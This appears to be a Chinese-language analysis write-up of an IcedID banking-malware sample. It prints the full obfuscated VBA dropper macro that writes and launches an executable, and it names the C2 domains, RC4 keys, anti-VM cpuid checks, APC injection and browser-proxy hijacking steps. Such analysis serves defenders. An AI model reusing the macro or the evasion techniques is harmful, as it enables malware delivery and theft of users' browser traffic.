ICEID
文章目录
- 基本信息
- 样本基本信息
- 主要执行流程
- office宏
- pfsdnskdf.exe
- 解密exe
- 傀儡进程
- 关键技术概览
- 1.时间差检测
- 2.cpuid
- 3.隐写术
- 4.傀儡进程
- 5.浏览器注入
- 6.流量混淆
- 详细分析
- 宏代码部分
- PFSDNSKDF.EXE
- 微步云在线分析
- 手动分析
- PFSDNSKDF.EXE下载解密文件分析
- 微步云在线分析
- 手动分析
- 新shellcode
- 傀儡进程
- 火绒剑分析
- 开启监听端口
- 生成自签名证书
- 对谷歌浏览器执行远线程注入
- 手动分析
- 其他
- 参考链接
基本信息
样本基本信息
| 文件名称 | fram.doc |
|---|---|
| 样本类型 | docx文档 |
| 恶意类型 | 远控,间谍代理 |
| 样本md5 | 4a88e83b325aa23da1e4bfa90b4f7c34 |
| 样本SHA1 | 06f6de4f48dbd69d8f8dd5ff1a33a8eeffc94bad |
主要执行流程
office宏
首先docx启动宏,创建写入启动C:\ 1 \ Whole \ PFSDNSKDF.EXE
pfsdnskdf.exe
PFSDNSKDF.exe加载资源,解密生成shellcode,从站点connuwedro.xyz下载图片,检验是否为图片,并RC4解密,KNVHASH效验。并将二进制文件保存在%APPDATA%文件夹中,并且为持久起见,它将创建一个计划的任务,该任务将每小时执行一次,启动第三阶段文件。
解密exe
前面和pfsdnskdf.exe一样,不过shellcode不同,同样也会请求域名cucumberz99.club,Pimidorro.top读取并写入C:\Users\Administrator\AppData\Local\ilbekaac2{1EA129C9-3B27-EA75-47E0-B55E92D185DD}\tiagac3.png
RC4解密,效验后,生成新shellcode
该shellcode挂起白名单进程
C:\windows\system32\msiexec.exe /i epcekw.msi
并进行APC注入。
傀儡进程
首先利用cpuid,rdstc时间差检测来进行反调试和反虚拟机
后面检测cpuid的ebx的值来反虚拟机
后面跑了一下火绒剑,生成自签名证书,开启61318端口,远线程劫持了浏览器函数的参数,傀儡进程变成了本地代理,达到了控制浏览器的效果
关键技术概览
1.时间差检测
利用cpuid在虚拟机上执行时间慢,达到一个检测时间差的效果
2.cpuid
通过检测cpuid的返回结果ebx,来判断实在在虚拟机之中
3.隐写术
通过对下载的图片进行解码,来伪装shellcode
4.傀儡进程
利用APC注入至白名单进程msiexec.exe,躲避检测
5.浏览器注入
让浏览器将所有请求重定向到此代理服务器并“信任”生成的证书,从而完全控制浏览器流量
6.流量混淆
通过尝试混入正常流量来逃避检测
详细分析
宏代码部分
样本格式为.docx,用Alt+F11查看VBA代码如下
#If VBA7 Then
Private Declare PtrSafe Function MakeSureDirectoryPathExists Lib "imagehlp " (ByVal lpPath As String) As Long
#Else
Private Declare Function MakeSureDirectoryPathExists Lib "imagehlp " (ByVal lpPath As String) As Long
#End IfPrivate Sub Document_Open()Dim i, d
Dim strTemp$, strReturn$, hextostr$
Dim CurFolder$
Dim GenerateFileName$, sFile$, sValues$CurFolder = "C:\1\Whole"d = CurFolder & "\" & "PFSDNSKDF.E" + Chr$(88) + Chr$(69)
hextostr = ToggleButton1.CaptionIf Right$(CurFolder, 1) <> "\" Then CurFolder = CurFolder & "\"
MakeSureDirectoryPathExists CurFolderFor i = 1 To Len(hextostr) Step 2
strTemp = Chr(Val("&H" + Mid(hextostr, i, 2)))
strReturn = strReturn + strTemp
Next ihextostr = Right(strReturn, Len(strReturn) - 1)Open d For Binary As #1
Put #1, , Chr$(77) + hextostr
Close #1`winmgmts:Win32_Process
Set process = GetObject(ChrW(119) & ChrW(105) & ChrW(110) & ChrW(109) & ChrW(103) & ChrW(109) & ChrW(116) & ChrW(115) _& ChrW(58) & ChrW(87) & ChrW(105) & ChrW(110) & ChrW(51) & ChrW(50) & ChrW(95) & ChrW(80) & ChrW(114) _& ChrW(111) & ChrW(99) & ChrW(101) & ChrW(115) & ChrW(115))
process.create d, Null, Null, processidOn Error GoTo errorHandler
ActiveDocument.Close _SaveChanges:=wdPromptToSaveChanges, _OriginalFormat:=wdPromptUser
errorHandler:
If Err = 4198 Then MsgBox "Document was not closed"Dim xFor x = 0 To 1
Call DateAdd("s" + vbNullString, x, Now)
DoEvents
Next xEnd Sub
样本在c盘下释放了C:\ 1 \ Whole \ PFSDNSKDF.EXE,然后利用winmgmts:Win32_Process 启动运行,不过由于WPS中文编码的转换问题,程序中出现一堆0x3f乱码数据。
PFSDNSKDF.EXE
微步云在线分析

为连接域名,其中.xyz域名为恶意域名,但是已经失效,猜测是一个下载者
手动分析
首先读取"WerFault.exe"资源放入Virtual alloc的空间后进行RC4加密,不过RC4的求余有点奇怪,密钥为OwcRJEC2g5NJ9wbOmJnUO5nK1LWXpbbndxlN4\x00

通过解析加载模块dll导出表,通过hash加密得到指定的函数和dll
GetNativeSystemInfo

VirtualAlloc()//0x113
VirtualProtect()//修改分配内存保护0x3a8
ZwFlushInstructionCache(-1,0,0);
//0x03d8跳转到新分配内存
GetCommandlineA()
StrStrIA(“C:\1\Whole\4c9c6b5b6daa25b8dc274dd78fbc1aaa.exe”,“id=”)//0x2112EE这里判断有没有id=
wsprintfw("%s");//212188 support.apple.com

WinhttpOpen//0x25b24a0
WinHttpConnect(0x25b24a0,“support.apple.com”,443)
WinhttpOpenRequest(0x25b24a0,“GET”,"/",0,0,0,0)
WinhttpSetOption()//0x2115b2
WinhttpSendRequest()
WinhttpReceiveResponse()
WinhttpQueryHeaders()
WinhttpQueryHeaders()
WinhttpQueryDataAvailable()
WinhttpReadData()
www.intel.com
help.twitter.com
support.microsoft.com
connuwedro.xyz
support.orcale.com
读取到数据后,判断字符串中还有”src=“字符,检测路径要求如下

例如在support.microsoft.com中读取到了/socbundles/jsll
利用WinHttpOpenRequest(,“Get”,“socbundles/jsll”)//0x33d2c8
WinHttpSendRequest()
之后判断报头连接网站所读取文件格式是否为Png,之后

之后在tmp目录下释放并写入文件

之后RC4解密该文件,并运行。。。这里没有在网上找到图片。。。没分析出来
PFSDNSKDF.EXE下载解密文件分析
微步云在线分析

连接了两个域名,不过都已经失效
手动分析
前面流程和PFSDNSKDF.exe基本一样,后面shellcode新生成的部分不一样着重分析此处.
SHGetFolderPathA(0,0x1c);
得到路径

并且在目录下创建文件夹

创建文件tiagac3.png

连接域名cucumberz99.club,如果连接请求失败会继续连接Pimidorro.top反复循环

发送get请求,获取Image目录下的id=01989…

检查读取的数据是否为png格式,进行RC4加密之后,加密密钥为opqrstuvwxyz{|}~且进行FNV hash算法校验

创建并且写入解密的文件C:\Users\Administrator\AppData\Local\ilbekaac2{1EA129C9-3B27-EA
75-47E0-B55E92D185DD}\tiagac3.png

GetMoudleFileNameA获取样本所在路径
VirtualProtect()修改内存权限为可读可执行
新shellcode
跳转到新shellcode
加载kernel32.dll利用了LdrLoadDll函数,这是一个未公开的API函数,其中第三个函数是一个结构体,内存放着加载的dll
typedef struct _UNICODE_STRING { //UNICODE_STRING structureUSHORT Length;USHORT MaximumLength;PWSTR Buffer;
} UNICODE_STRING;
继续加载LdrGetProcedureAddress,获取CreateProcessA函数地址,结构体同理
继续向下运行RtlWow64EnableFsRedirectionEx,文件系统重定向
CreateProcessA启动进程
进程名称为 C:\windows\system32\msiexec.exe /i epcekw.msi

ZwQuerySystemInformation查询信息

ZwAllocateVirtualMemory分配内存

ZwWriteVirtualMemory(0x174,0x100000,0x20a0000,)
ZwProtectVirtualMemory()
ZwQueueApcThread()//插入一个APC到指定线程,APC注入,注入地址偏移为0x9c
傀儡进程
火绒剑分析
开启监听端口
端口为61318,其实为本地代理

生成自签名证书
自签名证书在temp目录下
对谷歌浏览器执行远线程注入
注入的数据为远线程启动的参数,修改了某些函数的参数

访问亚马逊网站时,傀儡进程也进行了相应的访问连接

流量分析,确认其为本地代理

手动分析
NtAllocateVirtualMemory()
LdrLoadDll()加载dll
LdrGetProcedureAddress()循环获取函数
NtProtectVirtualMemory()
跳转到分配内存之中
GetComputerNameExW()获取计算机名称
LookupAccountNameW()//获取sid以及在计算机的域
将sid进行FNV hash加密 0X7b2716d6
时间差检测

利用cpuid进行虚拟机检测
VM供应商的品牌和类型
VMM_XEN: ebx = 0x566e6558 and ecx = 0x65584d4d and edx = 0x4d4d566e
VMM_HYPER_V: ebx = 0x7263694D and ecx = 0x666F736F and edx = 0x76482074
VMM_VMWARE: ebx = 0x61774d56 and ecx = 0x4d566572 and edx = 0x65726177
VMM_KVM: ebx = 0x4b4d564b and ecx = 0x564b4d56 and edx = 0x0000004d

RtlGetVersion()获取当前运行的操作系统返回版本信息,获取操作系统版本号是否大于或等于6,操作系统平台是否为VER_PLATFORM_WIN32_NT,VER_PLATFORM_WIN32_Windows,VER_PLATFORM_WIN32S,
如果操作系统版本大于6则判断是否为64为操作系统,如果是不是相应位置上赋值
OpenProcessToken获取当前进程令牌
GetTokenInformation获取token相关信息
GetSidIdentifierAuthority,获取根签发者的sid
GetSidSubAuthorityCount,获取sid中间签名者的数目
GetSidSubAuthority()获取中间签名者sid的指针
NetGetDcName//返回主域控制器的名称 0x1000238b
生成签名算法
CryptAcquireContextW()函数用于获取句柄到一个特定的密钥容器的特定内加密服务提供商(CSP)
CryptCreateHash()
CryptHashData
CryptGetHashParam
CryptReleaseContext
CertAddEncodedCertificateToStore()//自签名证书生成
CreateMutexA//创建互斥体ivobihosahuqafam

创建目录C:\Users\Administrator\AppData\Local{27EA3D63-A57D-C0A8-43E5-36B762883F18}
CreateFileA//打开自身
GetFileSize获取文件大小
ReadFile
CreateFileA创建一个文件C:\Users\Administrator\AppData\Local\{27EA3D63-A57D-C0A8-43E5-36B762883F18}\hoocyock2.exe
WriteFile写入文件,且写入的是一个PE且是其本身
将原文件删除
GetUserNameA
CoInitialize//com组件初始化
CoCreateInstance//创建一个com对象,不过报错ERROR_NO_TOKEN
继续创建hash
打开注册表HKEYCrruentUser
Software\Classes\CLSID\{1314A387-1763-4152-6D5A-345687EE8BE0}
创建一个线程0x10010ac2 用来无限睡眠
GetUserNameW 100162ed
CreateFileW打开png文件,不过不存在
C:\Users\Administrator\AppData\Roaming\Administrator\Uqafbt64.png
CreateFileW打开文件
C:\Users\Administrator\AppData\Roaming\Administrator\erafutca32.png 依旧没有
WSAstartup 10019679
CreateEventW 创建打开一个事件对象
CreateThread创建线程其实地址为0x1000c11d
后面分析不下去了。。。。。不过用火绒也能看出个大概
其他
-
自签名证书安装判定
可以通过hook判断函数CertAddEncodedCertificateToStore是否存在
其主要行为为安装证书,调试了一下发现的却存在改函数

参考链接
https://xz.aliyun.com/t/2898
https://www.cnblogs.com/xenophon/p/4981555.html
https://www.chainnews.com/zh-hant/articles/135086216856.htm
https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware
http://www.shcas.net/jsjyup/pdf/2019/2/%E5%9F%BA%E4%BA%8Eangr%E7%9A%84%E5%AF%B9%E6%8A%97%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81%E6%B2%99%E7%AE%B1%E6%A3%80%E6%B5%8B%E6%96%B9%E6%B3%95%E7%9A%84%E7%A0%94%E7%A9%B6.pdf
本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
